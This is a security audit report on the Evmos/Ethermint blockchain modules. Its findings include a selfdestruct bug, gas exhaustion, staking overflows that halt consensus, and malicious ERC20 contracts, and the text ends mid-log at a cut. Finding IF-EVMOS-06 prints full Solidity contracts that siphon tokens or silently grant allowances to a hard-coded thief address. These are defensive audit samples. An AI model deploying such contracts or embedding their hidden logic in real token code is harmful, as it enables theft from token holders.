informal SYSTEMS

Security Audit Report

Evmos: Scalable and interoperable Ethereum built on Proof-of-Stake

November-December 2021

Last revised 2022/11/16

Authors: Igor Konnov, Jure Kukovec

Contents

Audit overview

The Project

In November 2021, Tharsis engaged Informal Systems to conduct a security audit over the documentation and the current state of the implementation of Ethermint/EVMOS.

The EVMOS blockchain runs the Ethereum Virtual Machine on top of Cosmos SDK and Tendermint. It is able to deploy and execute Solidity contracts. One of the important features of EVMOS is that it can convert Cosmos-native coins into ERC20 tokens and back. This makes it possible to integrate Solidity contracts over ERC20 with Cosmos dApps. An important question is whether this conversion is safe.

Scope of this report

The agreed-upon workplan consisted of the following tasks:

1. Audit the module `intrarelayer` (now called `erc20`)
2. Reproduce several bugs in the module `staking`
3. Audit the module `evm`

This report covers the above tasks that were conducted November 15, 2021 through December 24, 2021, where cumulatively two person-weeks (80h) were spent by the following people at Informal Systems:

- Igor Konnov: Principal Scientist
- Jure Kukovec: Verification Engineer

Conducted work

Over the Slack channel we shared documents with preliminary findings, which we discussed during online meetings. As a result of these discussions, we created issues only for those findings that the client considered important enough to be fixed. The other findings that do not require immediate action are marked as "discussed" in the report.

For the `intrarelayer` and `staking` modules we proceeded with the stage of "Protocol reconstruction", where we wrote TLA+ specifications by following the source code. These specifications capture the shape of available commands and their effects in a much more precise manner than the available documentation. Our TLA+ specifications contain hundreds of lines of code, in contrast to thousands of lines of code of the implementation.

Having partially specified the protocols for `intrarelayer` and `staking`, we continued with "Adversarial testing". To this end, we have specified potential invariants of the protocols, which we discussed with the Evmos team. With the model checker Apalache, we have produced protocol executions that violate such invariants. These executions were automatically run with Atomkraft against the blockchain, which was deployed in a single-node docker setup.

For the `evm` module, we did selective manual code inspection and produced several Solidity contracts and integration tests. Due to our time budget, this analysis was not exhaustive.

We have also reviewed the module descriptions of erc20 (called `intrarelayer` when the audit was done) and evm.

For most of the issues, we have automatically generated end-to-end tests that are run in a Docker container. This makes the identified issues reproducible. None of them are false positives.

Timeline

- November 15, 2021: Start of audit for the version v0.3.0
- December 24, 2021: End of audit for the version v0.4.0
- December 24, 2021: submission of the first draft of this report
- February 01, 2022: submission of the second draft of this report

- May 3, 2022: confirming the status of the findings against version v3.0.0
- May 3, 2022: submission of the final report
- November 16, 2022: all discovered issues have been resolved, the report is ready for publication

Conclusions

We have not found any major implementation issues with the `intrarelayer` module. We have identified several potential security issues (all resolved):

- IF-EVMOS-02: the module deploys several predefined contracts whose Solidity source code is not available. This has been **resolved** in v1.0.0.
- IF-EVMOS-06: it is possible to register an ERC20-like contract which executes unexpected approvals and transfers under the standard ERC20 API. Although the registration requires a voting proposal by the validators, we stress that this voting procedure requires due diligence by the validators. This has been **resolved** to the extent possible.

For the `staking` module, we have explored scenarios related to coin delegation, as EVMOS is using fixpoint precision that is different from the other Cosmos blockchains (18 digits after the decimal point in contrast to 6 digits after the decimal point, respectively). As a result, we have filed the findings IF-EVMOS-08 (**resolved**) and IF-EVMOS-09 (**resolved**) that are both exploiting the same issue when dealing with 64-bit integers in the delegation code. Although these attacks require a large amount of coins, the implications are severe enough to require attention. For instance, IF-EVMOS-09 halts the consensus engine.

For the `evm` module, we have two findings:

- IF-EVMOS-04: We have reproduced the scenario of a Solidity contract not self-destructing correctly, which was brought up to us by the EVMOS team (**resolved**).
- IF-EVMOS-05: We have produced a contract that may consume vast amounts of gas. Its transactions are not properly processed by the blockchain (**resolved**).

We have also reported minor issues.

Due to restricted time budget, we should stress that our analysis is by no means exhaustive. The main audit efforts were done for the Evmos versions `v0.3.0` and `v0.4.0`. For the versions `v1.0.0` and `v3.0.0`, we only checked the status of our findings, but did not do any inspection beyond running the automatically produced tests, as outlined in the findings. We should note that the API between the versions `v0.3.0` and `v3.0.0` may have significantly changed. Although this was not a major issue for our Atomkraft tests, which we regenerated after updating the test driver in a few hours, this probably requires another audit.

Audit Dashboard

Target Summary

- **Name**: `intrarelayer/erc20` and `evm` modules
- **Version**: `evmos` `v0.3.0` through `v0.4.0` and `ethermint` `v0.8.1` through `v0.9.0`
- **Type**: Implementation and preliminary documentation
- **Platform**: Golang

Engagement Summary

- **Dates**: November 15 through December 24, 2021
- **Method**: Whitebox, model-based testing, symbolic model checking
- **Employees Engaged**: 2

Fundings Summary by Severity and Difficulty

Severity	Difficulty	#	Finding
High	Low	2	IF-EVMOS-04, IF-EVMOS-09
Potentially High	High	2	IF-EVMOS-02, IF-EVMOS-06
Low	Low	2	IF-EVMOS-03, IF-EVMOS-05
Informative	Low	3	IF-EVMOS-01, IF-EVMOS-07, IF-EVMOS-08
Total		**9**	

Severity Categories

Severity	Description
Informative	The issue does not pose an immediate risk (it is subjective in nature); they are typically suggestions around best practices or readability
Low	The issue is objective in nature, but the security risk is relatively small or does not represent security vulnerability
Medium	The issue is a security vulnerability that may not be directly exploitable or may require certain complex conditions in order to be exploited
High	The issue is exploitable security vulnerability

Difficulty Categories

Difficulty	Description
Low	Can be attacked by a user without special permission
Medium	Can be exploited without special permission with in-depth knowledge and control of the security architecture
High	Needs a collection of privileged users with in-depth knowledge and control of the security architecture

Engagement Goals

This audit was scoped by the Informal Systems team in order to evaluate the correctness and security of the EVMOS blockchain. As the scope of the project is too large for the allocated time budget, we focused on potential attack scenarios by inspecting the code and running model-based tests.

Coverage

Informal Systems manually reviewed the documentation and code of the software in the ethermint repository, starting at v0.8.1 and the evmos repository, starting at v0.3.0. As the code was updated during the review, we continued with further commits through v0.9.0 and v0.4.0 respectively. In the final stage, we checked our findings against Evmos v3.0.0.

We focused on the code in the modules: `intrarelayer` (now `erc20`) and `evm`. As the two codebases cumulatively span over 39 kLOC of Golang code, we could not perform an exhaustive audit of the whole codebase.

Recommendations

This section aggregates all the recommendations made during the audit. Short-term recommendations address the immediate causes of issues. Long-term recommendations pertain to the development process and long-term design goals. Our recommendations apply to the versions 0.3.0 and 0.4.0.

Short term

- **Improve user feedback/documentation.** Issues IF-EVMOS-01, IF-EVMOS-03, IF-EVMOS-05, and IF-EVMOS-07 relate to user-feedback or expectations, and can be resolved by better error messages and/or documentation.
- **Make smart contracts transparent.** Issue IF-EVMOS-02 highlights the use of bytecode JSON for the module-deployed smart contracts on EVM. To improve transparency, and allow for code review, the source code should be included in the repository and compiled at build-time.
- **Fix contract self-destruction.** Issue IF-EVMOS-04 highlights incorrect behavior.
- **Safeguard against non-standard power reduction scenarios.** Issues IF-EVMOS-08 and IF-EVMOS-09 highlight potential problems, which Tharsis cannot fix or affect at the source, and give recommendations on how to build around these limitations.

Long term

- **Raise awareness of arbitrary code in contracts.** Issue IF-EVMOS-06 outlines security-critical scenarios, which relevant parties should be made aware of and take measures to prevent. These scenarios require a good understanding of both EVM and Cosmos. Since these contracts are subject to governance, Evmos should bring this to the attention of the delegators and validators.
  A contract can exchange ERC20 tokens for Cosmos coins, which may propagate via IBC. The implications of this have to be understood for each deployed contract (see the linked issue for concrete examples). The governance process requires due diligence.
- **Improve coverage by integration- and end-to-end testing.** In addition to the reported issues, the integration tests could be improved to find issues like IF-EVMOS-04. The current integration tests have several TODOs and commented-out blocks.

Findings

ID	Title	Severity	Issue
IF-EVMOS-04	A destructed contract resurrects in the next block	High	—
IF-EVMOS-09	Delegating `10^6 * 2^63 - x` for a small `x` halts consensus	High	evmos #224
IF-EVMOS-02	Compile built-in contracts in the build process	Potentially High	evmos #140
IF-EVMOS-06	IERC20 Contracts may execute arbitrary code	Potentially High	—
IF-EVMOS-03	`convert-erc20` gas estimation is inaccurate	Low	evmos #182
IF-EVMOS-01	When a contract is deployed, the log contains plenty of error messages	Informative	ethermint #783
IF-EVMOS-07	Delegation and unbonding transfers rewards	Informative	—
IF-EVMOS-08	Delegating over `10^6 * 2^63` causes panic in consensus due to overflow	Informative	evmos #224
IF-EVMOS-05	No receipt for a contract that stores lots of data	Low	evmos #1455

Severity Categories

Severity	Description
Informative	The issue does not pose an immediate risk (it is subjective in nature); they are typically suggestions around best practices or readability
Low	The issue is objective in nature, but the security risk is relatively small or does not represent security vulnerability
Medium	The issue is a security vulnerability that may not be directly exploitable or may require certain complex conditions in order to be exploited
High	The issue is exploitable security vulnerability

IF-EVMOS-01: When a contract is deployed, the log contains plenty of error messages

Severity	Informative
Type	Implementation
Difficulty	Low
Issue	link
Status	Resolved

Surfaced from @informalsystems audit of Ethermint v0.8.1 and Evmos v0.3.0

OS: Linux in Docker

Resolution

Fixed

Involved artifacts

- statedb.go

Description

When a simple ERC20 contract is deployed, e.g., by using hardhat, the evmosd log contains plenty of messages that look like follows:

```
8:03AM ERR account not found error="account evmos19q2kl5ctg0zszky4vferd78np3zgw5j8ew8tz8 does not exist: u
8:03AM ERR account not found error="account evmos138j4q4mc8eqsufwrurxhsmxtfwsenk6tur3t05 does not exist: u
8:03AM ERR account not found error="account evmos1vd2rjywyk8ald7rlrddwan9a709nyjnxa6pgez does not exist: u
...
```

One of the addresses on that list is the address of the newly deployed contract. The other addresses are probably the addresses of the contracts that are extended by the new contract. It looks like this error message is produced either by `GetNonce` or `SetNonce`:

https://github.com/tharsis/ethermint/blob/main/x/evm/keeper/statedb.go#L202-L268

Steps to reproduce

Deploy a simple ERC20 contract with hardhat:

```
// contracts/Hyperpyron.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

// This is a Hyperperon token. You cannot buy anything with it.
// It is good for testing.
contract Hyperpyron is ERC20 {
  constructor(uint256 initialSupply) ERC20("Hyperpyron", "HYPERPYRON") {
      _mint(msg.sender, initialSupply);
  }
}
```

Recommendation

If this is expected behavior, do not print error messages in the log. If these messages have to be printed, make them more informative.

IF-EVMOS-02: Compile built-in contracts in the build process

Severity	Potentially High
Type	Implementation
Difficulty	High
Issue	link
Status	Resolved

Surfaced from @informalsystems audit of Ethermint v0.8.1 and Evmos v0.3.0

Resolution

This issue has been addressed in the release v1.0.0 of Evmos. The contracts were compiled as part of the build process.

Involved artifacts

- EVM contracts

Description

Currently, the contracts are committed in the repository as JSON, that is, ABI and the bytecode. Given the debugging information, I believe that these contracts are simply compiled from openzeppelin Solidity code. However, it is impossible to tell what the contracts are doing without running bytecode analyzers. This is a potentially dangerous approach, as it would be hard to notice any severe change of behavior in the bytecode during peer review.

Recommendation

Compile ERC20Burnable, ERC20MinterBurner, and ERC20PresetMinterPauser contracts from their Solidity sources as part of the build process. This would increase transparency of the built-in contracts and allow the developers to peer-review the changes in the contracts.

IF-EVMOS-03: `convert-erc20` gas estimation is inaccurate

Severity	Low
Type	Implementation
Difficulty	Low
Issue	link
Status	Resolved

Surfaced from @informalsystems audit of Ethermint v0.8.1 and Evmos v0.4.0

Reposting from Slack, where @fedekunze identified this behavior as a bug:

System info: Evmos v0.4.0 on Docker

Steps to reproduce:

1. `tx intrarelayer convert-erc20 <CONTRACT> 1 <ADDR1> --fees 10000000aphoton --from <ADDR2>`

Expected behavior: Successful conversion (`--fees` >= `gas_used`)

Actual behavior: "Out of gas" exception (`--fees` not considered)

Additional info:

```
code: 11
codespace: sdk
data: ""
gas_used: "201370"
gas_wanted: "200000"
height: "22"
info: ""
logs: []
raw_log: "\ngithub.com/cosmos/cosmos-sdk/baseapp.newOutOfGasRecoveryMiddleware.func1\n\tgithub.com/cosmos/
  of gas in location: WriteFlat; gasWanted: 200000, gasUsed: 201370: out of gas"
timestamp: ""
tx: null
txhash: 55D04E2D071B6AF791C33C0906C35B7437656006671C135800542797A4C0C28C
```

Discussions: Through Github discussions, the conclusion was that `--gas auto` is inaccurate, and that `--gas-adjustment` or just `--gas` could be used to circumvent this, but not `--fees`

IF-EVMOS-04: A destructed contract resurrects in the next block

Severity	High
Type	Implementation
Difficulty	Low
Status	Resolved

Reproduced the bug found by the EVMOS team during the @informalsystems audit of Ethermint v0.9.0 and Evmos v0.4.0

Resolution

This issue was fixed on a private security branch. Our test `test1-04-transfer.sh` confirms that a transfer fails after `kill`.

The test `test0-04-mint.sh` goes through. As confirmed by the Evmos team, both transactions are successful. However, although the call to `increaseSupply` is successful, the token supply does not change. This behavior is consistent with Ethereum, so it is not considered to be an issue.

Involved artifacts

- statedb

Description

As found by the EVMOS team, the EVM call `selfdestruct` is implemented incorrectly, namely, the instruction is interpreted only in the transient store of a block, but it is not committed. As a result, a destroyed contract can be exploited later, e.g., it can transfer and mint tokens. We have generated e2e tests that reproduce this behavior:

1. `test0-04-mint.sh` the contract `Hyperpyron` mints tokens after being killed: The first transaction calls `kill()`, and the second transaction calls `increaseSupply(amount)`.
2. `test1-04-transfer.sh` the contract `Hyperpyron` transfers tokens after being killed: The first transaction calls `kill()`, and the second transaction calls `transfer(toAddr, amount)`.

The tests were produced with Apalache (invariants `NoMintAfterKill` and `NoTransferAfterKill`) and `atomkraft4`.

The source code of the Solidity contract is as follows:

```
// contracts/Hyperpyron.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

// This is a Hyperperon token. You cannot buy anything with it.
// It is good for testing.
contract Hyperpyron is AccessControl, ERC20Burnable {
  constructor(uint256 initialSupply)
    ERC20("Hyperpyron", "HYPERPYRON") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _mint(msg.sender, initialSupply);
    }

    // Add more tokens on the account 'addrTo'.
    // This should be really unsafe to do in production!
    function increaseSupply(address addrTo, uint256 amount) public {
        _mint(addrTo, amount);
    }

    // a very unsafe way to self-destruct a contract
    function kill() public {
        selfdestruct(payable(msg.sender));
    }
}
```

Recommendation

Fix the bug.

IF-EVMOS-05: No receipt for a contract that stores lots of data

Severity	Low
Type	Implementation
Difficulty	Low
Status	Resolved

Surfaced from @informalsystems audit of Ethermint v0.9.0 and Evmos v0.4.0

This issue was reproducible with the version v3.0.0.

Resolution

This issue has been fixed in #1455.

Here is the description of the fix by the Evmos developers:

```
The impact is low as it only affects the person sending the tx. It occurs
when the tx gas limit exceeded the block gas limit. The node runs CheckTx
(succesfully), then the tx was added to the mempool but then is flushed from it
because the gas limit check on Tendermint. The main issue here is that the user
never receives the information that the tx was flushed so the RPC waits for the
tx to be included (pending).

We added a check on our end and notified the Cosmos SDK team to verify that the
tx gas doesn't exceed the block gas during CheckTx call in BaseApp.
```

Involved artifacts

- Unknown

Description

Deploy a Solidity contract that adds plenty of data to the store (writing to the store requires plenty of gas). For instance:

```
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

contract EvilERC20 is AccessControl, ERC20Burnable {
  int[] expensive;

  constructor(uint256 initialSupply)
    ERC20("EvilERC20", "EVILERC20") {
      _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
      _mint(msg.sender, initialSupply);
  }
  function burnGas(uint256 count) public {
      for (uint i = 0; i < count; i++) {
          unchecked {
              expensive.push(11);
          }
      }
  }
}
```

Post a transaction that calls `burnGas(1001)` of `EvilERC20`. This transaction has no receipt after 10 minutes.

Potential explanations:

- writing to the store takes too long,
- the transaction is silently killed due to gas overconsumption.

We have included three tests:

- `test12-05-burn1001.sh` calls `burnGas(1001)` is stuck,
- `test11-05-burn101.sh` calls `burnGas(101)` and goes through.

Recommendation

Figure out the source of the issue. This issue probably does not affect the system safety. However, if the long-running computation is running in a node, instead of being terminated by gas exhaustion, then this may degrade the node performance, potentially, opening up some room for CPU trashing.

IF-EVMOS-06: IERC20 Contracts may execute arbitrary code

Severity	Potentially High
Type	Protocol
Difficulty	High
Status	Resolved

Surfaced from @informalsystems audit of Ethermint v0.9.0 and Evmos v0.4.0

Resolution

Two out of the three scenarios were addressed:

- Scenario 1: addressed in pull requests #191 and #196. For the coin-token pairs registered via the module `erc20`, an additional invariant check is done. Hence the malicious behavior outlined in Scenario 1 is detected and prevented, when the transactions are invoked via `convert-coin` or via `convert-erc20`. This is demonstrated by the tests `test3-06-evil1-convert-token.sh` and `test4-06-evil1-convert-coin.sh` in our deliverables.

  Note that the standard ERC20 method `transfer` is still able to transfer funds to the malicious account undetected, when called via the EVM API.

- Scenario 2: addressed in the pull request #192. As we have checked in version v3.0.0, an additional invariant check is added. Hence, an unexpected approve event is caught and the transaction is reverted. For the coin-token pairs registered via the module `erc20`, an additional invariant check is done. Hence the malicious behavior outlined in Scenario 1 is detected and prevented, when the transactions are invoked via `convert-coin` or via `convert-erc20`. This is demonstrated by the tests `test6-06-evil2-convert-token.sh` and `test7-06-evil2-convert-coin.sh` in our deliverables.

  Note that the standard ERC20 method `transfer` is still able to allocate allowance to the malicious account undetected, when called via the EVM API.

Regarding Scenario 3, we believe that there is no easy way to monitor a fake implementation of ERC20. Hence, Scenario 3 should be addressed by a security audit of each individual contract that is submitted to EVMOS via a governance proposal.

Description

It is possible for a malicious actor to design an ERC20 contract with malicious and unexpected behavior. In this context "ERC20" is defined to be a contract extending the IERC20 interface.

Here, we present three such malicious contracts, in increasing order of severity.

Scenario 1: Direct balance manipulation

The most straightforward malicious implementation adds immediately observable behavior to one of the standard interface methods (e.g. `transfer`). For instance, it could be the case that executing `transfer(A,B)` siphons some amount of tokens intended for `B` into a predefined account `C`:

```
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
```

```
// This is an evil token. Whenever an A -> B transfer is called, half of the amount goes to B
// and half to a predefined C
contract Evil1 is AccessControl, ERC20Burnable {

  address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14;

  constructor(uint256 initialSupply)
    ERC20("Evil1", "EVIL1") {
      _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
      _mint(msg.sender, initialSupply);
  }

  function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    // Any time a transaction happens, the thief account siphons half.
    uint256 half = amount / 2;

    super.transfer(_thief, amount - half); // a - h for rounding
    return super.transfer(recipient, half);
  }

}
```

These contracts are easiest to detect, as one only needs to monitor that the expected balances after executing `transfer` match the actual balances via runtime monitoring.

Scenario 2: Delayed malicious effects via the `ERC20.sol` implementation

The second malicious implementation avoids direct detection by delaying action. Instead of directly manipulating balances, like in the case above, the contract instead performs a sort of permission-injection, by adding code that grants an allowance to the thief account, but does not otherwise affect balances immediately. Then, the thief account can unilaterally transfer tokens from any account it has been granted an allowance by, at any time in the future.

```
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

// This is an evil token. Whenever an A -> B transfer is called,
// a predefined C is given a massive allowance on B.
contract Evil2 is AccessControl, ERC20Burnable {

  address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14;
  uint256 private _bigNum = 1000000000000000000; // ~uint256(0)

  constructor(uint256 initialSupply)
    ERC20("Evil2", "EVIL2") {
      _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
      _mint(msg.sender, initialSupply);
  }

  function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    // Any time a transaction happens, the thief account is granted allowance in secret.
    // Still emits an Approve!
    super._approve(recipient, _thief, _bigNum);
    return super.transfer(recipient, amount);
  }

}
```

Note that, unlike `Evil1`, this behavior is harder to monitor. In the direct balance manipulation case, it is easy to implement runtime monitoring, because the parties `A,B` to a `transfer(A,B)` are known, so their balances can be queried after the transaction. In the case of `Evil2`, one would have to know the address of `C`, to check whether the allowance granted to `C` by `B` has changed (as there is no method that iterates over all allowances). However, in a malicious implementation that extends `ERC20.sol`, allowances can only be set via the `_approve` method, as the variables themselves are `private` and cannot be accessed outside the base `ERC20` class. Therefore, such an implementation can be detected, as using `_approve` emits an `Approve` event, which is otherwise uncharacteristic of a `transfer`. So a modified version of runtime monitoring, where one looks for unexpected events, is still possible.

Scenario 3: Delayed malicious effects via a custom `IERC20.sol` implementation

The last, and least detectable, malicious implementation avoids all monitoring described above. Instead of extending existing classes based on `ERC20.sol`, one simple needs to define a custom implementation of `ERC20`, extending `IRC20.sol`. Then, one can modify, for example, `_allowances` directly, without emitting any unexpected events.

```
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "./FakeERC20.sol";

// This is an evil token. It extends FakeERC20 instead of the real one.
contract Evil3 is AccessControl, FakeERC20 {

  constructor(uint256 initialSupply)
    FakeERC20("Evil3", "EVIL3") {
      _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
      _mint(msg.sender, initialSupply);
  }

}
```

```
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";

// This is an evil token. It copies the implementation of ERC20 almost exactly, except
// whenever an A -> B transfer is called, a predefined C is given a massive allowance on B.
// Unlike Evil2, there is no emitted event
contract FakeERC20 is Context, IERC20, IERC20Metadata {

    // Malicious code parameters
    address private _thief = 0x4dC6ac40Af078661fc43823086E1513635Eeab14;
    uint256 private _bigNum = 1000000000000000000; // ~uint256(0)

    // ----------------------

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /*************************
     *                       *
     *                       *
     *  MALICIOUS CODE START  *
     *                       *
     *                       *
     *************************/

    function transfer(address recipient, uint256 amount) public virtual override returns (bool)
↪   {
        _allowances[recipient][_thief] = _bigNum; // <<<<<<<< allowance set without Approve
↪   emit
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /***********************
     *                     *
     *                     *
     *  MALICIOUS CODE END  *
     *                     *
     *                     *
     ***********************/

    function allowance(address owner, address spender) public view virtual override returns
↪   (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns
↪   (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns
↪   (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
```

Obviously, a genuinely malicious implementation would add source-code level obfuscation to such activity, but this contract already demonstrates the potential danger of unrestricted Solidity, and the meaninglessness of “being ERC20” (or extending `IERC20`), when it comes to execution guarantees. The only way to avoid such contracts is by thorough manual analysis before an approval vote is given for registration.

Tests

We have included three tests:

- `test06-evil1.sh` calls `transfer` on `Evil1`. The balances are immediately affected.
- `test06-evil2.sh` calls `transfer` on `Evil2`. The balances are unaffected, but an allowance is silently set. Emits an `Approve` event.
- `test06-evil3.sh` calls `transfer` on `Evil3`. The balances are unaffected, but an allowance is silently set. Does not emit any unusual events.

Recommendation

We recommend the implementation of the both sorts of runtime monitoring discussed above, despite the fact that there are contracts which such monitoring would not be able to detect, as the implementation should be relatively straightforward/cheap.

We also recommend that whoever intends to vote on token registration reads these counterexamples, or is otherwise made aware that no expectations or guarantees can exist for truly arbitrary Solidity code.

IF-EVMOS-07: Delegation and unbonding transfers rewards

Severity	Informative
Type	Implementation
Difficulty	Low
Status	Resolved

Tried a potential vulnerability reported to the EVMOS team during the @informalsystems audit of Ethermint v0.9.0 and Evmos v0.4.0

Resolution

Not a vulnerability. Staking behaves as expected. We could not reproduce this behavior in v3.0.0. This is probably related to a lower inflation rate.

Involved artifacts

- Staking module

Description

The EVMOS team received a report about a potential vulnerability that followed the following sequence of steps:

1. A validator owner delegates `X` coins from their account `A` to their validator `V`.
2. The owner observes that the `X` coins were delegated to the validator `V`.
3. The owner observes that the balance on the account `A` has increased.

This behavior is easy to reproduce in our docker setup. One simply has to start the node and execute the delegation command:

```
evmosd tx staking delegate evmosvaloper1nffuetmg6srcwa0h4lu4x8vh0ew6p63dnj8xaz \
  10aphoton --from evmos1nffuetmg6srcwa0h4lu4x8vh0ew6p63d7ugkul
```

Depending on the block height, at which the command was run, the user `evmos1nffuetmg6srcwa0h4lu4x8vh0ew6p63d7ugkul` receives additional coins on their account. This is caused by the immediate return of the accumulated rewards, when the command `delegate` is called. One can the check the rewards before command execution and after by issuing:

```
evmosd query distribution rewards evmos1nffuetmg6srcwa0h4lu4x8vh0ew6p63d7ugkul
```

Unbonding a small number of tokens has a similar effect. That is, accumulated rewards may be significantly greater than the unbonded amount.

To further investigate this behavior, we have written a simple TLA+ specification `Staking.tla` that captures a simplified view of `delegate` and `unbond`. It does not take rewards into account and thus it can be used to flag the discrepancy between the intuitive reward-free delegation and actual delegation.

We have generated a number of e2e tests. The interesting tests are included in the deliverables:

1. `test13-07-delegate.sh` delegates coins to the validator and then transfers more coins than the validator had, if the rewards were not paid.

2. `test14-07-unbond.sh` delegates coins to the validator, unbonds 1 coin and then transfers more coins than the user had, if the rewards were not paid.

The tests were produced with Apalache (invariants `NoDelegateAndTransfer` and `NoUnbondAndTransfer`) and `atomkraft4`.

Recommendation

Reflect this behavior in the documentation.

IF-EVMOS-08: Delegating over 10^6 * 2^63 causes panic in consensus due to overflow

Severity	Informative
Type	Implementation
Difficulty	Low
Status	Resolved

Reproduced the bug suggested by the EVMOS team during the @informalsystems audit of Ethermint v0.9.0 and Evmos v0.4.0

Resolution

This issue has been fixed, as we have confirmed for the version v3.0.0. It was addressed in the pull request #224.

Involved artifacts

- Staking module

Description

The EVMOS team asked us to check for potential problems that could be caused by the power reduction algorithm in Tendermint, as some issues have been observed in the past. We have reproduced a delegation scenario that causes panic in the consensus engine. Fortunately, transaction panic is handled by the recovery mechanism. The scenario is simple: Delegate as many coins to the only validator, so it has over `10^6 * 2^63` coins. In this case, the delegation fails with a trace:

```
Int64() out of bound\nstack:\ngoroutine 116 [running]:
runtime/debug.Stack()\n\truntime/debug/stack.go:24
+0x65\ngithub.com/cosmos/cosmos-sdk/baseapp.newDefaultRecoveryMiddleware...
...
```

This issue can be reproduced with the generated e2e test called `test15-08-panic.sh`.

The tests were produced with Apalache (invariant `NoDelegatePanic`) and `atomkraft4`.

Recommendation

Add additional validation to protect against delegation of large values, so consensus engine does not panic.

IF-EVMOS-09: Delegating 10^6 * 2^63 - x for a small x halts consensus

Severity	High
Type	Implementation
Difficulty	Low
Status	Resolved

Surfaced from @informalsystems audit of Ethermint v0.9.0 and Evmos v0.4.0

Resolution

This issue has been fixed, as we have confirmed for the version v3.0.0.

Involved artifacts

- Staking module

Description

This issue is a more dangerous variation of `IF-EVMOS-08`. In this scenario, a user delegates as many coins as required for the validator to hold `10^6 * 2^63 - x` coins for a small `x`. Following this transaction, the `mint` module mints over `x` coins and halts consensus:

```
4:20PM INF finalizing commit of block
hash=226E41248C7ED03469839BF211B689A0E3F246923FCC303C6040AA131859BF5D
height=3 module=consensus num_txs=1
root=40DF4E5A0D1933A3A49CA44625B69D342EE3F1C4B1C514AEA50220AF1883C08B server=node
4:20PM INF minted coins from module account amount=8238907087170057035Oaphoton
from=mint module=x/bank
